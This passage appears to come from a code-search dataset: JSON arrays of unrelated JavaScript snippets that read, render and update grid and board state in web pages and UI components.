document.querySelector('.state-indicator'), ':before'\n ).getPropertyValue('content')\n\n state = state.replace(/\"/g, \"\");\n state = state.replace(/'/g, \"\"); //fix for update in chrome which returns ''\n\n return state; //need to replace quotes to support mozilla - which returns a string with quotes inside.\n\n}","function generateGrid() {\n gameBoard.childNodes[1].innerText = `It's ${game.turn.token}'s turn`;\n var grid = gameBoard.childNodes[3];\n grid.innerHTML = '';\n for (var i = 0; i < 9; i++) {\n gridIndex = i;\n grid.innerHTML += `\n
    \n
    \n `\n }\n game.resetGame();\n persistWins();\n}","function createGrid() {\n let board = document.getElementById(\"board\");\n let tableHTML = \"\";\n for (let r = 0; r < height; r++) {\n let currentArrayRow = [];\n let currentHTMLRow = ``;\n for (let c = 0; c < width; c++) {\n let newNodeId = `${r}-${c}`;\n let newNodeClass = \"unvisited\";\n currentHTMLRow += ``;\n }\n currentHTMLRow += ``;\n tableHTML += currentHTMLRow;\n }\n board.innerHTML = tableHTML;\n}","function getStates(game) {\n\n}","function draw_grid_html(grid,n,id){\n var html = ''\n var grid_center = grid[(grid.length-1)/2];\n html += '
    Grid build of '+ n + ' blocks with center ' + grid_center + ' blocks high
    ';\n html += '
    ['+ grid.toString() + '] = ' + grid.reduce(function(a,b){return a+b;}) + ' blocks
    ';\n html += '
    '\n for(var x = 0; x < grid.length; x++){\n var column = '
    ';\n for (var b=1; b <= grid[x]; b++){\n column += '
    ';\n }\n column +='
    ';\n html += column;\n }\n html += '
    ';\n document.getElementById(id).innerHTML = html;\n\n return html;\n}","function renderGrid() {\n let { C, cols, rows, px, grid_color, render_border } = state\n C.gx.clearRect(\n -render_border,\n -render_border,\n C.gx.canvas.width,\n C.gx.canvas.height\n )\n C.gx.strokeStyle = grid_color\n C.gx.lineWidth = 1\n C.gx.strokeRect(0.5, 0.5, sub(mul(cols, px), 1), sub(mul(rows, px), 1))\n C.gx.lineWidth = 2\n for (let c = 1; c < state.cols; c++) {\n C.gx.beginPath()\n C.gx.moveTo(mul(c, px), 0)\n C.gx.lineTo(mul(c, px), mul(rows, px))\n C.gx.stroke()\n }\n for (let r = 1; r < state.rows; r++) {\n C.gx.beginPath()\n C.gx.moveTo(0, mul(r, px))\n C.gx.lineTo(mul(cols, px), mul(r, px))\n C.gx.stroke()\n }\n}","getHTML() {\n const l = this.strings.length - 1;\n let html = '';\n let isTextBinding = true;\n for (let i = 0; i < l; i++) {\n const s = this.strings[i];\n html += s;\n // We're in a text position if the previous string closed its tags.\n // If it doesn't have any tags, then we use the previous text position\n // state.\n const closing = findTagClose(s);\n isTextBinding = closing > -1 ? closing < s.length : isTextBinding;\n html += isTextBinding ? nodeMarker : marker;\n }\n html += this.strings[l];\n return html;\n }","getRow(n) {\n return this.grid[n];\n }","function renderGrid(grid) {\r\n let modules = grid.modules;\r\n let svg = document.getElementById('root');\r\n let i;\r\n\r\n for (i = 0; i < modules.length; i++) {\r\n svg.appendChild(createModule(modules[i], svg.namespaceURI));\r\n }\r\n}","_parseContent(item) {\n const textFieldClass = this.getCSS(this._data.mode, \"textField\");\n return item.querySelector(`.${textFieldClass}`).innerHTML;\n }","async getSingleMarkup() {\n return ` \n
    \n

    ${this.name}

    \n \n
    \n
    \n
    \n
    \n ${window.Core.checkFirstBreadcrumb()} > \n ${this.name}\n
    \n
    \n

    ${window.Core.t(\"country\")}${this.country}

    \n

    ${window.Core.t(\"nickname\")}${this.nickname}

    \n
    \n
    \n \n
    \n
    \n

    ${window.Core.t(\"visithotelsheader\")}

    \n
    `;\n }","function getState() {\n return window.stokr.model.getState();\n }","function getCurrentBoard(){\n\t\t\tvar $rows = $el.find('.panel-row');\n\t\t\tvar currentBoard = [];\n\t\t\t\n\t\t\t$.each( $rows, function(){\n\t\t\t\tvar $row = $(this);\n\t\t\t\tvar $panels = $row.find('.top .stationary-panel span');\n\t\t\t\tvar panelVals = [];\n\t\t\t\t\n\t\t\t\t$.each( $panels, function(){\n\t\t\t\t\tvar $panel = $(this);\n\t\t\t\t\t\n\t\t\t\t\tpanelVals.push( $panel.text() );\n\t\t\t\t});\n\t\t\t\t\n\t\t\t\tcurrentBoard.push( panelVals );\n\t\t\t});\n\t\t\t\n\t\t\treturn currentBoard;\n\t\t}","function displayWinState() {\n // Set the win state styling on all of the cells\n $('.content').addClass('winstate');\n // Make the win state div visible\n $('#solved').removeClass('hidden');\n }","function $3gv(){\n var readyStateDone$=new $3gv.$$;ReadyState(4,readyStateDone$);\n return readyStateDone$;\n}"],"string":"[\n \"function parseGrid(grid) {\\n var str = '';\\n for (var row = 0; row < grid.length; row++) {\\n for (var col = 0; col < grid[row].length; col++) {\\n str = str + (grid[row][col].state ? grid[row][col].state.toLowerCase() : '-')\\n }\\n }\\n return str;\\n}\",\n \"getGrid(gridNr) {\\n var gridVal = this.state.gridValues[gridNr];\\n if (gridVal == null) {\\n gridVal = '.';\\n }\\n return this.gridClick(gridNr)} />\\n }\",\n \"function getGrid(pos) {\\n\\tlet childs = c.childNodes;\\n\\treturn childs[pos];\\n}\",\n \"getGridHtml(editor) {\\n const curPos = editor.getCursor();\\n\\n if (this.isInGridBlock(editor)) {\\n const bog = this.getBog(editor);\\n const eog = this.getEog(editor);\\n // skip block begin sesion(\\\"::: editable-row\\\")\\n bog.line++;\\n // skip block end sesion(\\\":::\\\")\\n eog.line--;\\n eog.ch = editor.getDoc().getLine(eog.line).length;\\n return editor.getDoc().getRange(bog, eog);\\n }\\n return editor.getDoc().getLine(curPos.line);\\n }\",\n \"function getGridPosition() {\\n\\tvar selectedUnit = document.getElementsByClassName(\\\"selected\\\");\\n\\tif (angular.isDefined(selectedUnit[0])) {\\n\\t\\tvar rowIndex = selectedUnit[0]['className'].split(\\\" \\\")[2].substring(8);\\n\\t\\tvar gridPos = rowIndex.split('-');\\n\\t\\treturn gridPos;\\n\\t} else {\\n\\t\\treturn false;\\n\\t}\\n}\",\n \"function state_to_dom(s) {\\n try {\\n let html=\\\"\\\";\\n for(let j=0;j<3;++j) {\\n for(let i=0;i<3;++i) {\\n html+=\\\" \\\";\\n if(s.grid[j][i]==0) html+=\\\" \\\";\\n else html+=s.grid[j][i];\\n }\\n html+=\\\"\\\\n\\\";\\n }\\n let obj=document.createElement(\\\"pre\\\");\\n obj.innerHTML=html;\\n return obj;\\n } catch(e) {\\n helper_log_exception(e);\\n throw e;\\n return null;\\n }\\n}\",\n \"function getBoardState() {\\n\\t\\tfor (var i = 0; i < 3; i++) {\\n\\t\\t\\tfor (var j = 0; j < 3; j++) {\\n\\t\\t\\t\\tboard[i][j] = $('[data-loc=\\\"{i : ' + i + ', j : ' + j + '}\\\"]').text();\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\",\n \"function gridState(){\\n var grid = {};\\n $theInputs = $('.game-cell-input');\\n $theInputs.each(function(){ // iterate over each input\\n if($(this).val()){\\n var num = $(this).data('num');\\n var special = $(this).data('special');\\n if(typeof special == \\\"undefined\\\" || special > 5 || special == 0){\\n special = 0;\\n }\\n grid[num] = {val: $(this).val(), special: special};\\n }\\n });\\n return grid;\\n }\",\n \"function TreeGrid_GetHTMLTarget(eEvent, aData)\\n{\\n\\t//default result: null\\n\\tvar result = null;\\n\\t//get the position\\n\\tvar position = TreeGrid_GetTargetItemPosition(this, aData, __DESIGNER_CONTROLLER || __SCREENSHOTS_ON || eEvent != __NEMESIS_EVENT_CLICK && eEvent != __NEMESIS_EVENT_SELECT && eEvent != __NEMESIS_EVENT_NOTHANDLED);\\n\\t//header?\\n\\tif (position.Row == -1 && position.Column != null)\\n\\t{\\n\\t\\t//get the headers\\n\\t\\tvar headers = this.InterpreterObject.Content ? this.InterpreterObject.Content.Headers.Ordered : null;\\n\\t\\t//get the header\\n\\t\\tresult = headers && position.Column >= 0 && position.Column < headers.length ? headers[position.Column].HTML : null;\\n\\t}\\n\\t//is the row visible?\\n\\telse if (position.Row != null && position.Row >= 0 && (this.InterpreterObject.Content.TreeData == null || this.InterpreterObject.Content.TreeData.VisibleMap[position.Row]))\\n\\t{\\n\\t\\t//get the tree data\\n\\t\\tvar treeData = this.InterpreterObject.Content.TreeData;\\n\\t\\t//get the row\\n\\t\\tvar row = this.InterpreterObject.Content.Cells.Rows[position.Row];\\n\\t\\t//assume we will be clicking on the scrollable part of the grid\\n\\t\\tresult = row.HTML ? row.HTML.Fixed.firstChild ? row.HTML.Fixed : row.HTML.Scrollable : null;\\n\\t\\t//also has a column? ie: want a cell?\\n\\t\\tif (position.Column != null)\\n\\t\\t{\\n\\t\\t\\t//get the row cell\\n\\t\\t\\tresult = row.Objects[position.Column].HTML;\\n\\t\\t}\\n\\t\\t//check the event\\n\\t\\telse switch (eEvent)\\n\\t\\t{\\n\\t\\t\\tcase __NEMESIS_EVENT_OPENBRANCH:\\n\\t\\t\\tcase __NEMESIS_EVENT_CLOSEBRANCH:\\n\\t\\t\\t\\t//this row is a treegrid line?\\n\\t\\t\\t\\tif (treeData && row)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t//set the target\\n\\t\\t\\t\\t\\tresult = row.Objects[treeData.Column].HTML.BranchButton;\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tbreak;\\n\\t\\t\\tdefault:\\n\\t\\t\\t\\t//cell selection only (but of course requesting a row selection, of course)\\n\\t\\t\\t\\tif (Get_String(this.InterpreterObject.Properties[__NEMESIS_PROPERTY_SELECTION_TYPE], \\\"\\\") == \\\"CellOnly\\\")\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t//loop through the cells\\n\\t\\t\\t\\t\\tfor (var i = 0, c = row.Objects.length; i < c; i++)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t//this one has cell selects row?\\n\\t\\t\\t\\t\\t\\tif (row.Objects[i].SelectionActionsOnly)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t//use this one isntead\\n\\t\\t\\t\\t\\t\\t\\tresult = row.Objects[i].HTML;\\n\\t\\t\\t\\t\\t\\t\\t//end loop\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tbreak;\\n\\t\\t}\\n\\t}\\n\\telse\\n\\t{\\n\\t\\t//use the entire treegrid\\n\\t\\tresult = this;\\n\\t}\\n\\t//return the result\\n\\treturn result;\\n}\",\n \"function getGrid() {\\n\\tconsole.log(\\\"Current rows are: \\\" + GRID.rows + \\\"\\\\nCurrent columns are: \\\" + GRID.columns);\\n}\",\n \"function setState() {\\n var tags = document.getElementsByTagName(\\\"td\\\")\\n let state = [];\\n for (var i = 0; i < tags.length; i++) {\\n state.push(tags[i].innerHTML)\\n };\\n return state;\\n}\",\n \"function getGridClass(pos) {\\n\\tlet childs = c.childNodes;\\n\\tlet classes = childs[pos].className.split(' ');\\n\\treturn classes;\\n}\",\n \"function TreeGrid_GetData()\\n{\\n\\t//create an array for the result\\n\\tvar result = [];\\n\\t//have we got content? with cells?\\n\\tif (this.InterpreterObject.Content && this.InterpreterObject.Content.Cells)\\n\\t{\\n\\t\\t//loop through the html\\n\\t\\tfor (var rows = this.InterpreterObject.Content.Cells.Rows, i = 0, c = rows.length; i < c; i++)\\n\\t\\t{\\n\\t\\t\\t//selected?\\n\\t\\t\\tif (rows[i].Selected)\\n\\t\\t\\t{\\n\\t\\t\\t\\t//add this to the result\\n\\t\\t\\t\\tresult.push(\\\"\\\" + (i + 1));\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\t//return it\\n\\treturn result;\\n}\",\n \"function UltraGrid_GetHTMLTarget(eEvent, aData)\\n{\\n\\t//default result: null\\n\\tvar result = null;\\n\\n\\t//get the target\\n\\tvar target = UltraGrid_GetTarget(this.InterpreterObject, aData[0]);\\n\\t//valid target?\\n\\tif (target)\\n\\t{\\n\\t\\t//this a cell?\\n\\t\\tif (target.UltraGridCell || target.UltraGridHeader)\\n\\t\\t{\\n\\t\\t\\t//use the html\\n\\t\\t\\tresult = target.HTML;\\n\\t\\t}\\n\\t\\t//must be a row\\n\\t\\telse if (target.Panels)\\n\\t\\t{\\n\\t\\t\\t//get its first panel row\\n\\t\\t\\tresult = target.PanelRows[target.PanelIds[0]];\\n\\t\\t}\\n\\t}\\n\\t//return the result\\n\\treturn result;\\n}\",\n \"function read_state() {\\n let grid=Array(3).fill(0).map(x => Array(3));\\n for(let k=0;k<9;++k) {\\n let input=document.getElementById(\\\"input_pos\\\"+k);\\n let j=Math.floor(k/3);\\n let i=k%3;\\n if(input.value==\\\"\\\") grid[j][i]=0;\\n else grid[j][i]=parseInt(input.value,10);\\n }\\n return {\\n grid : grid\\n };\\n}\",\n \"function getSpanGrid() {\\n\\tvar grid = new Array(4);\\n\\tgrid[0] = new Array(4);\\n\\tgrid[1] = new Array(4);\\n\\tgrid[2] = new Array(4);\\n\\tgrid[3] = new Array(4);\\n\\tvar n = 0;\\n\\tfor (var r = 0; r < 4 ; r++ ) {\\n\\t\\tfor (var c = 0; c < 4 ; c++ ) {\\n\\t\\t\\tgrid[r][c] = $(\\\"#grid .cell\\\").eq(n).find(\\\"span\\\");\\n\\t\\t\\tn++;\\n\\t\\t}\\n\\t}\\n\\treturn grid;\\n}\",\n \"function getViewState(formElement) {\\n return AjaxImpl_1.Implementation.getViewState(formElement);\\n }\",\n \"function handleDemoGrid() {\\r\\n\\tswitch(demoGridState) {\\r\\n\\t\\tcase 0: //\\r\\n\\t\\t\\tbreak;\\r\\n\\t\\tdefault:\\r\\n\\t\\t\\tbreak;\\r\\n\\t}\\r\\n}\",\n \"get gridMode() {\\n return this.i.ni;\\n }\",\n \"getGrid() {\\n return this.gridCells;\\n }\",\n \"getHTML() {\\n return getHTMLFromFragment(this.state.doc.content, this.schema);\\n }\",\n \"function getElementBasedFormatState(editor, event) {\\n var listTag = roosterjs_editor_dom_1.getTagOfNode(roosterjs_editor_core_1.cacheGetElementAtCursor(editor, event, 'OL,UL'));\\n var headerTag = roosterjs_editor_dom_1.getTagOfNode(roosterjs_editor_core_1.cacheGetElementAtCursor(editor, event, 'H1,H2,H3,H4,H5,H6'));\\n return {\\n isBullet: listTag == 'UL',\\n isNumbering: listTag == 'OL',\\n headerLevel: (headerTag && parseInt(headerTag[1])) || 0,\\n canUnlink: !!editor.queryElements('a[href]', 1 /* OnSelection */)[0],\\n canAddImageAltText: !!editor.queryElements('img', 1 /* OnSelection */)[0],\\n isBlockQuote: !!editor.queryElements('blockquote', 1 /* OnSelection */)[0],\\n };\\n}\",\n \"function getGridElementsPosition(index) {\\n const gridEl = document.getElementById(\\\"grid\\\");\\n let offset = Number(window.getComputedStyle(gridEl.children[0]).gridColumnStart) - 1;\\n if (isNaN(offset)) {\\n offset = 0;\\n }\\n const colCount = window.getComputedStyle(gridEl).gridTemplateColumns.split(\\\" \\\").length;\\n const rowPosition = Math.floor((index + offset) / colCount);\\n const colPosition = (index + offset) % colCount;\\n return {\\n row: rowPosition,\\n column: colPosition\\n };\\n}\",\n \"getCurrentGridState(args) {\\n const gridState = {\\n columns: this.getCurrentColumns(),\\n filters: this.getCurrentFilters(),\\n sorters: this.getCurrentSorters(),\\n };\\n const currentPagination = this.getCurrentPagination();\\n if (currentPagination) {\\n gridState.pagination = currentPagination;\\n }\\n if (this.hasRowSelectionEnabled()) {\\n const currentRowSelection = this.getCurrentRowSelections(args && args.requestRefreshRowFilteredRow);\\n if (currentRowSelection) {\\n gridState.rowSelection = currentRowSelection;\\n }\\n }\\n return gridState;\\n }\",\n \"function getState(el) {\\n // insert your own code here to extract a relevant state object from an or tag\\n // for example, if you rely on any other custom \\\"data-\\\" attributes to determine the link behaviour\\n return {};\\n }\",\n \"function TreeGrid_GetInterpreterTarget(theHTML, aData)\\n{\\n\\t//default result: null\\n\\tvar result = null;\\n\\t//get the position\\n\\tvar position = TreeGrid_GetTargetItemPosition(theHTML, aData);\\n\\t//header?\\n\\tif (position.Row == -1 && position.Column != null)\\n\\t{\\n\\t\\t//get headers\\n\\t\\tvar headers = theHTML.InterpreterObject.Content ? theHTML.InterpreterObject.Content.Header.Cells : null;\\n\\t\\t//get the header\\n\\t\\tresult = headers && position.Column >= 0 && position.Column < headers.length ? headers[position.Column] : null;\\n\\t}\\n\\t//we have this row?\\n\\telse if (position.Row != null && position.Row >= 0 && theHTML.InterpreterObject.Content && position.Row < theHTML.InterpreterObject.Content.Cells.Rows.length)\\n\\t{\\n\\t\\t//get the row\\n\\t\\tvar row = theHTML.InterpreterObject.Content.Cells.Rows[position.Row];\\n\\t\\t//have we got a cell?\\n\\t\\tif (row != null && position.Column >= 0 && row.Objects && position.Column < row.Objects.length)\\n\\t\\t{\\n\\t\\t\\t//get the cell\\n\\t\\t\\tresult = row.Objects[position.Column];\\n\\t\\t}\\n\\t}\\n\\t//return the result\\n\\treturn result;\\n}\",\n \"function loadBoardState(thisState){\\n document.querySelectorAll(\\\".dim\\\").forEach(function(item){\\n if(getLitStateBit(thisState, parseInt(item.getAttribute(\\\"data-index\\\")))){\\n item.classList.add(\\\"lit\\\");\\n }else{\\n item.classList.remove(\\\"lit\\\");\\n }\\n });\\n }\",\n \"function readState () {\\n cache()\\n var str = location.pathname.substr(1)\\n var result = getRouteNode(str)\\n\\n if (!result) {\\n const ev = new CustomEvent(\\\"routenotfound\\\", {\\n detail: {\\n path: str\\n }\\n })\\n\\n window.dispatchEvent(ev)\\n return\\n }\\n var node = cloneNodeAsElement(result.node, 'div')\\n\\n node.innerHTML = result.node.textContent\\n loadNodeSource(node, result.matches)\\n return node\\n}\",\n \"function loadState(){\\n var state = $.deparam.fragment();\\n grid = state.grid;\\n \\n if(typeof state.variant !== \\\"undefined\\\"){\\n options.variant = state.variant;\\n }\\n \\n if(typeof state.level !== \\\"undefined\\\"){\\n options.level = state.level;\\n } else {\\n options.level = 1;\\n }\\n \\n $theInputs = $('.game-cell-input');\\n $theInputs.each(function(){ // iterate over each input, putting saved value in.\\n var num = $(this).data('num');\\n if(typeof grid !== \\\"undefined\\\" && typeof grid[num] !== \\\"undefined\\\" && grid[num] !== \\\"\\\"){\\n $(this).val( grid[num].val );\\n $(this).data('special', grid[num].special );\\n } else {\\n $(this).val('');\\n $(this).data('special', 0 );\\n }\\n decorateInput($(this));\\n });\\n \\n $('#level').val(options.level);\\n }\",\n \"function getGridStateAndNumFilled() {\\n let state = '';\\n let numFilled = 0\\n for (let i = 0; i < gridHeight; i++) {\\n for (let j = 0; j < gridWidth; j++) {\\n if (grid[i][j].notBlocked()) {\\n if (langMaxCharCodes == 1) {\\n state = state + grid[i][j].currentLetter\\n } else {\\n state = state + grid[i][j].currentLetter + '$'\\n }\\n if (grid[i][j].currentLetter != '0') {\\n numFilled++\\n }\\n } else {\\n state = state + '.'\\n }\\n }\\n }\\n numCellsFilled = numFilled\\n return state;\\n}\",\n \"getCellState(i, j) {\\n let that = this;\\n return function () {\\n return that.state.grid[i][j];\\n }\\n }\",\n \"cellState(row, col) {\\n const cells = this.cells;\\n return cells[ this.to_1d(row, col) * this.cellBytes ];\\n }\",\n \"function getGrid () {\\n\\tlet grid = new Array(3);\\n\\tfor (var i = 0; i < 3; i++)\\n\\t\\tgrid[i]=new Array(3);\\n\\n\\tfor (var i = 0; i < 3; i++) {\\n\\t\\tfor (var j = 0; j < 3; j++) {\\n\\t\\t\\tlet divSector = $(\\\"#grid-\\\" + i + j + \\\"-id\\\");\\n\\t\\t\\tgrid[i][j] = divSector.text();\\n\\t\\t}\\n\\t}\\n\\n\\treturn grid;\\n}\",\n \"function redrawHTMLGrid(grid, gridID) {\\n var gridHTML = document.getElementById(gridID);\\n for (var i = 0; i < height; i++) {\\n for (var j = 0; j < width; j++) {\\n var cell = gridHTML.rows[i].cells[j];\\n if (grid[i][j])\\n cell.className = \\\"selected\\\";\\n else\\n cell.className = \\\"\\\";\\n }\\n }\\n}\",\n \"function setHTMLCell(x, y, liveState){\\n Array.from(dom.boardNode.children)[size*x + y].classList.toggle(\\\"live\\\", liveState);\\n}\",\n \"function drawHTMLGrid(height, width, gridID) {\\n var gridHTML = document.getElementById(gridID);\\n // Clear previous table and stop game of life algorithm\\n gridHTML.innerHTML = \\\"\\\";\\n clearInterval(globalInterval);\\n // Create html table\\n for (var i = 0; i < height; i++) {\\n var row = gridHTML.insertRow(0);\\n for (var j = 0; j < width; j++) {\\n var cell = row.insertCell(0);\\n cell.innerHTML = \\\"\\\";\\n }\\n }\\n // Onclick a table element, change its class \\n $(\\\".grid td\\\").click(function () {\\n if (this.className == \\\"\\\")\\n this.className = \\\"selected\\\";\\n else\\n this.className = \\\"\\\";\\n });\\n}\",\n \"function getTableDataFromHtml() {\\n\\n }\",\n \"getHTML() {\\n return this._executeAfterInitialWait(() => this.currently.getHTML());\\n }\",\n \"function getElementsFromHTML() {\\n toRight = document.querySelectorAll(\\\".to-right\\\");\\n toLeft = document.querySelectorAll(\\\".to-left\\\");\\n toTop = document.querySelectorAll(\\\".to-top\\\");\\n toBottom = document.querySelectorAll(\\\".to-bottom\\\");\\n }\",\n \"getState() {\\n // TODO return obj with the board's properties\\n }\",\n \"getState(ant) {\\n const tile = this.grid[ant.getPosition().y][ant.getPosition().x];\\n if (!tile) { return 0; }\\n if (this.scope.config.ant_coloring == \\\"rgb_blend\\\") {\\n return tile[ant.id];\\n }\\n return tile.state;\\n }\",\n \"function getgridobj() {\\n\\n return gridobj;\\n\\n }\",\n \"function getGridElement(row, col){\\n\\tvar cellNum = parseInt(row-1)*size + parseInt(col);\\n\\tvar cell = dom.gameBoard.querySelector(\\\"#cell\\\"+cellNum);\\n\\treturn cell;\\n}\",\n \"function identifyCell(gridPossibilities) {\\n var cellReference = 0;\\n return cellReference;\\n}\",\n \"getGameGrid() {\\n return this.buildBlockGrid();\\n }\",\n \"function aanmaken_grid_layout() {\\n var nummer = 0;\\n var kolom__struct = '';\\n var grid__struct = '';\\n\\n for (rij = 0; rij < grid_struct__obj.aantal_rijen; rij++) {\\n kolom__struct = '';\\n for (kolom = 0; kolom < grid_struct__obj.aantal_kolommen; kolom++) {\\n nummer = nummer + 1\\n kolom__struct += `
    `;\\n }\\n grid__struct += `
    ${kolom__struct}
    `;\\n }\\n return grid__struct; // geeft de grid structuur als resultaat terug\\n }\",\n \"getGridView() {\\n const { data } = this.state;\\n if (data.length == 0) return null;\\n\\n return {\\n return
    \\n \\n
    \\n }},\\n { alias: 'Detalles', value : data => {\\n return visibility;\\n }},\\n ]}\\n />;\\n }\",\n \"async readOverviewTiles() {\\n const tiles = await this.page.evaluate(() =>\\n Array.from(document.querySelectorAll('div[id$=ITtile]')).map(t => {\\n const [title, badge] = t.querySelectorAll('span');\\n return {\\n isSelected: t.classList.contains('p_AFSelected'),\\n title: title.textContent,\\n badge: badge.textContent,\\n selectId: t.querySelector('a[title^=\\\"Select:\\\"]').id,\\n };\\n }));\\n\\n tiles.forEach(t => t.click =\\n this.page.click.bind(this.page, '#'+t.selectId.replace(/:/g,'\\\\\\\\:')));\\n return tiles;\\n }\",\n \"function getElementByString(html) {\\n let element = document.createElement('div')\\n element.classList = 'col form-group row';\\n element.innerHTML = html;\\n return element.firstElementChild\\n\\n}\",\n \"getGridRowIndex(){return this.__gridRowIndex}\",\n \"function gridButton() {\\n let elem = document.querySelectorAll(\\\".square\\\");\\n elem.forEach(toggleGrid);\\n if (grid == false) {\\n let gridBtn =\\n document.getElementById(\\\"grid-button\\\");\\n gridBtn.innerText = \\\"Grid On\\\";\\n }\\n else if (grid == true) {\\n let gridBtn =\\n document.getElementById(\\\"grid-button\\\");\\n gridBtn.innerText = \\\"Grid Off\\\";\\n }\\n}\",\n \"function getTreeState() {\\n var tree = viewTree.getData().getAllNodes();\\n //isc.JSON.encode(\\n return { width: viewTree.getWidth(),\\n time: isc.timeStamp(),\\n pathOfLeafShowing: viewInstanceShowing ? viewInstanceShowing.path : null,\\n // selectedPaths: pathShowing, //viewTree.getSelectedPaths(),\\n //only store data needed to rebuild the tree \\n state: tree.map(function(n) {\\n return {\\n\\t type: n.type,\\n\\t id: n.id,\\n\\t parentId: n.parentId,\\n\\t isFolder: n.isFolder,\\n\\t name: n.name,\\n\\t isOpen: n.isOpen,\\t\\n\\t state: n.state,\\n icon: n.icon\\n };\\n\\t\\t })\\n };\\n }\",\n \"function evaluateLightDOM() {\\n \\n // Light DOM is given as HTML string? => use fragment with HTML string as innerHTML\\n if ( typeof self.inner === 'string' ){\\n self.inner = document.createRange().createContextualFragment( self.inner );\\n }\\n \\n var children = ( self.inner || self.root ).children;\\n self.questions = [];\\n self.question_ids = [];\\n var count = 0;\\n \\n // iterate over all children of the Light DOM to search for config parameters\\n self.ccm.helper.makeIterable( children ).map( function ( elem ) {\\n count += 1;\\n\\n // self.ccm.helper.generateConfig( elem ); // ToDo\\n \\n if ( elem.tagName.startsWith('CCM-EXERCISE-') ){\\n var param_name = elem.tagName.split('-')[2].toLowerCase();\\n switch ( param_name ){\\n case 'question':\\n self.questions.push( elem.innerHTML );\\n self.question_ids.push( self.fkey + '_' + count );\\n self.html.main.inner.push( { tag: 'label', for: self.fkey + '_' + count, inner: elem.innerHTML } );\\n self.html.main.inner.push( { tag: 'textarea', id: self.fkey + '_' + count } );\\n break;\\n default: self[ param_name ] = elem.innerHTML;\\n }\\n }\\n } );\\n \\n if ( self.questions.length === 0 ){\\n self.html.main.inner.push( { tag: 'label', for: self.fkey } );\\n self.html.main.inner.push( { tag: 'textarea', id: self.fkey, placeholder: self.placeholder || '' } );\\n }\\n \\n self.html.main.inner.push( { tag: 'ccm-show_solutions', for: self.fkey } );\\n \\n }\",\n \"function Edit_GetHTMLTarget(eEvent, aData)\\n{\\n\\t//by default use ourselves\\n\\tvar result = this;\\n\\t//switch on event\\n\\tswitch (eEvent)\\n\\t{\\n\\t\\tcase __NEMESIS_EVENT_MATCHCODE:\\n\\t\\t\\t//our matchcode exist? and is visible? use it\\n\\t\\t\\tresult = this.STATES_MATCHCODE ? this.MATCHCODE : null;\\n\\t\\t\\tbreak;\\n\\t}\\n\\t//return it\\n\\treturn result;\\n}\",\n \"function getGridGetAction() {\\n var keys = $(\\\"div.grid-view\\\").find(\\\"div.keys\\\");\\n var getAction = '';\\n switch (keys.length) {\\n case 0:\\n alert('No gridview keys found');\\n getAction = '';\\n break;\\n case 1:\\n getAction = keys.attr('title');\\n break;\\n default:\\n alert('Mutiple gridview keys found');\\n getAction = '';\\n break;\\n }\\n \\n return getAction;\\n}\",\n \"function getHeaderGrid(dp,cellIndex){\\n\\treturn dp.obj.hdrLabels[cellIndex];\\n}\",\n \"get grid() {\\n return this._grid;\\n }\",\n \"function setGridState(visible, enabled) {\\n var gridContents = document.getElementsByClassName('grid-content');\\n var grid = document.getElementById('grid');\\n\\n if (enabled) {\\n grid.setAttribute('enabled', '');\\n } else {\\n grid.removeAttribute('enabled');\\n }\\n\\n for (var i = 0; i < gridContents.length; i++) {\\n if (!visible) {\\n gridContents[i].classList.add('invisible');\\n } else {\\n gridContents[i].classList.remove('invisible');\\n }\\n }\\n}\",\n \"function Simulator_Position_GetDisplayRect(html)\\n{\\n\\treturn Position_GetDisplayRect(html);\\n}\",\n \"function getGridString(cols, rows)\\n{\\n\\tvar tableMarkup = $(\\\"#drawing-table\\\").html();\\n\\tvar index = 0;\\n\\tvar result = \\\"\\\";\\n\\twhile(true)\\n\\t{\\n\\t\\tindex = tableMarkup.indexOf(\\\"\\\", index);\\n\\t\\tif (index == -1)\\n\\t\\t\\tbreak;\\n\\t\\tif (tableMarkup[index-1] == SYMB_AVAIL)\\n\\t\\t\\tresult += \\\"1\\\";\\n\\t\\telse\\n\\t\\t\\tresult += \\\"0\\\";\\n\\t\\tindex++;\\n\\t}\\n\\treturn result;\\n}\",\n \"function displayState(tab) {\\n $(\\\".grid\\\").empty();\\n for (let i = 0; i < tab.length; i++) {\\n for (let j = 0; j < tab[i].length; j++) {\\n const elem = tab[i][j];\\n if (elem) {\\n const item = $(`
    ${elem}
    `);\\n $(\\\".grid\\\").append(item);\\n } else {\\n // if (leftMove == 1) {\\n // $(\\\".grid\\\").append(`
    \\\"car\\\"
    `);\\n // leftMove = 0\\n // } else if (rightMove == 1) {\\n // $(\\\".grid\\\").append(`
    \\\"car\\\"
    `);\\n // rightMove = 0\\n // } else {\\n $(\\\".grid\\\").append(`
    \\\"DAVIDOU\\\"
    `);\\n\\n // }\\n }\\n\\n }\\n }\\n}\",\n \"validateGridView() {\\n return this\\n .waitForElementVisible('@gridViewContainer')\\n .assert.elementPresent('@gridViewContainer', 'Grid View Displayed');\\n }\",\n \"function pagehtml(){\\treturn pageholder();}\",\n \"function IsDomCustomGrid(evt, element, eventOpts, objName, description, flavor, items)\\r\\n\\t{\\r\\n\\t\\tfunction _getName(el)\\r\\n\\t\\t{\\r\\n\\t\\t\\tvar name = __getAttribute(el, '');\\r\\n\\t\\t\\tif (name)\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\treturn name;\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\treturn \\\"Grid\\\";\\r\\n\\t\\t} \\r\\n \\r\\n\\t\\tfunction _getCell(el)\\r\\n\\t\\t{\\r\\n\\t\\t\\treturn {row: 0, col: 0};\\r\\n\\t\\t}\\r\\n\\t\\r\\n\\t\\tvar rvalue =\\r\\n\\t\\t{\\r\\n\\t\\t\\troot: null, // to define in future the most near element or smth else\\r\\n\\t\\t\\tresult: null, // here will be old res placed\\r\\n\\t\\t\\trcode: R_NOT_OBJECT // return code\\r\\n\\t\\t};\\r\\n\\t \\r\\n\\t\\tvar root = false;\\r\\n\\r\\n\\t\\t/**\\r\\n\\t\\t * Test element or it's neighbour nodes to detect type of an object we are 